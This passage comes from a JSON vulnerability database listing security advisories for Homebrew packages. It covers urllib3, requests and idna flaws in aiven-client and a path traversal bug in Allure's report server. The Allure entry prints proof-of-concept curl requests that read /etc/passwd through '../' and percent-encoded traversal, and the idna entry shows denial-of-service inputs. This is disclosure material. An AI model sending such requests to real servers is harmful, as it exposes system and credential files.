[OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-21441","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.11.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-25645","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-gc5v-m9x4-r6x2","CVE-2026-25645","PYSEC-2026-2275"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.12.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.33.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests has Insecure Temp File Reuse in its extract_zipped_paths() utility function","details":"### Impact\nThe `requests.utils.extract_zipped_paths()` utility function uses a predictable filename when extracting files from zip archives into the system temporary directory. If the target file already exists, it is reused without validation. A local attacker with write access to the temp directory could pre-create a malicious file that would be loaded in place of the legitimate one.\n\n### Affected usages\n**Standard usage of the Requests library is not affected by this vulnerability.** Only applications that call `extract_zipped_paths()` directly are impacted.\n\n### Remediation\nUpgrade to at least Requests 2.33.0, where the library now extracts files to a non-deterministic location.\n\nIf developers are unable to upgrade, they can set `TMPDIR` in their environment to a directory with restricted write access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-gc5v-m9x4-r6x2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25645"},{"type":"WEB","url":"https://github.com/psf/requests/commit/66d21cb07bd6255b1280291c4fafb71803cdb3b7"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.33.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-44431","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:35Z","upstream":["GHSA-qccp-gfcp-xxvc","CVE-2026-44431","PYSEC-2026-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.14.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Sensitive headers forwarded across origins in proxied low-level redirects","details":"### Impact\n\nWhen following cross-origin redirects for requests made using urllib3’s high-level APIs, such as `urllib3.request()`, `PoolManager.request()`, and `ProxyManager.request()`, sensitive headers — `Authorization`, `Cookie`, and `Proxy-Authorization` (defined in `Retry.DEFAULT_REMOVE_HEADERS_ON_REDIRECT`) — are stripped by default, as expected.\n\nHowever, cross-origin redirects followed from the low-level API via `ProxyManager.connection_from_url().urlopen(..., assert_same_host=False)` still forward these sensitive headers.\n\n### Affected usage\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected if they allow cross-origin redirects while making requests through `HTTPConnection.urlopen()` instances created via `ProxyManager.connection_from_url()`.\n\n### Remediation\n\nUpgrade to urllib3 version 2.7.0 or later, in which sensitive headers are stripped from redirects followed by `HTTPConnection`.\n\nIf upgrading is not immediately possible, avoid using this low-level redirect flow for cross-origin redirects. If appropriate for your use case, switch to `ProxyManager.request()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44431"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-44432","published":"2026-08-13T16:35:13Z","modified":"2026-10-02T10:08:51Z","upstream":["GHSA-mf9v-mfxr-j63j","CVE-2026-44432","PYSEC-2026-142"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.11.0_1"},{"fixed":"4.14.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Decompression-bomb safeguards bypassed in parts of the streaming API","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases:\n1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here).\n\nThese issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled:\n\n1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library.\n2. `HTTPResponse.drain_conn()` is called after response decompression has already started.\n\n\n### Remediation\n\nUpgrade to at least urllib3 version 2.7.0 in which the library:\n1. Is more efficient for reads with Brotli.\n2. Always skips decompression for `HTTPResponse.drain_conn()`.\n\nIf upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases:\n1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396.\n2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important.\n\n\n### Credits\n\nThe Brotli-specific issue was reported by @kimkou2024.\n`HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-mf9v-mfxr-j63j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44432"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-142.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-45409","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T00:32:34Z","upstream":["GHSA-65pc-fj4g-8rjx","CVE-2026-45409","PYSEC-2026-215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.14.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.15","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix","details":"This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45409"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-97687","published":"2026-10-04T11:59:06Z","modified":"2026-10-04T11:59:06Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.18.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-97688","published":"2026-09-30T20:02:49Z","modified":"2026-10-02T10:08:51Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688","PYSEC-2026-4176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.11.0_2"},{"fixed":"4.18.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-aiven-client-CVE-2026-97689","published":"2026-10-04T11:59:06Z","modified":"2026-10-04T11:59:06Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aiven-client","purl":"pkg:brew/aiven-client"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"4.18.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]}],"allure":[{"schema_version":"1.7.3","id":"BREW-allure-CVE-2026-55846","published":"2026-08-13T16:35:13Z","modified":"2026-11-11T08:39:52Z","upstream":["GHSA-82cg-3hv7-74gc","CVE-2026-55846"],"affected":[{"package":{"ecosystem":"Homebrew","name":"allure","purl":"pkg:brew/allure"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.45.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.39.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"Maven","name":"io.qameta.allure:allure-commandline","subject_version":"2.46.2","key":"pkg:maven/io.qameta.allure/allure-commandline@2.46.2"}]},"summary":"Allure Report: Path Traversal in HTTP Server Allows Arbitrary File Read","details":"## Summary\n\nThe built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences.\n\n## Details\n\nWhen `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory:\n\n**`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`**\n```java\nprotected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException {\n    final HttpServer server = HttpServer\n            .create(new InetSocketAddress(Objects.isNull(host) ? \"localhost\" : host, port), 0);\n\n    server.createContext(\"/\", exchange -> {\n        final Path resolve = reportDirectory.resolve(\".\" + exchange.getRequestURI().getPath());  // line 330\n        if (Files.isDirectory(resolve)) {\n            serveFile(exchange, resolve.resolve(\"index.html\"));\n        } else {\n            serveFile(exchange, resolve);\n        }\n    });\n\n    return server;\n}\n```\n\nOn line 330, the handler constructs a file path by concatenating `\".\"` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`:\n\n1. `exchange.getRequestURI().getPath()` returns `\"/../../../etc/passwd\"`\n2. String concatenation produces `\"./../../../etc/passwd\"`\n3. `reportDirectory.resolve(\"./../../../etc/passwd\")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd`\n4. The OS resolves this to `/etc/passwd`\n\nThere is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation.\n\nAdditionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form.\n\nThe server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by:\n- Other local users on shared/multi-tenant systems\n- DNS rebinding attacks from malicious web pages visited by the user\n- Adjacent containers in CI/CD environments that share a network namespace\n\n## PoC\n\n**Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding):\n```bash\nallure serve ./test-results --host 0.0.0.0 --port 9090\n```\n\n**Step 2:** Read `/etc/passwd` via path traversal:\n```bash\ncurl --path-as-is 'http://localhost:9090/../../../etc/passwd'\n```\n\n**Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`):\n```bash\ncurl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd'\n```\n\n**Step 4:** Read sensitive application files (e.g., environment variables, SSH keys):\n```bash\ncurl --path-as-is 